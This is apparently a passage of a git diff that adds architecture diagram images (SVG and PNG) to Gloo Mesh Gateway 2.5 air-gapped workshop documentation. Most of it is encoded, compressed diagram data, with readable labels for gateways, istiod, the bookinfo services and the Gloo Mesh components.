ZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXH